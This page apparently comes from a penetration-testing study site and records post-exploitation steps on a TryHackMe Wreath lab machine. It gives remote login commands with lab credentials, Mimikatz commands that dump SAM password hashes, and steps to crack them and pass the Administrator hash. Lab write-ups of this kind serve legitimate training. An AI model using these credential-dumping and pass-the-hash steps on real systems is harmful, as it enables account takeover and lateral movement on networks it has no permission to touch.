> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/external-pentest-playbook/wreath-try-hack-me/pivoting/10.200.101.150-git-serv/post-exploitation.md).

# Post Exploitation

## Stabilization and Persistence

```bash
evil-winrm -u adot8 -p password1 -i 10.200.101.150
```

<figure><img src="/files/kKjGkW9vTNnWt3QSN0XJ" alt=""><figcaption></figcaption></figure>

OR RDP

```bash
xfreerdp /u:adot8 /p:password1 /v:10.200.101.150 +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
```

{% hint style="warning" %}
&#x20;/drive creates a shared drive between you and the machine. Access in file explorer with \\\tsclient
{% endhint %}

## Mimikatz

Run Mimikatz as Administrator

```powerquery
privilege::debug
token::elevate
log c:\windows\temp\sam.log
lsadump::sam
```

Use crackstation to crack Thomas's and Arheo5's NTLM hashes

Pass Administrators hash in evil-winrm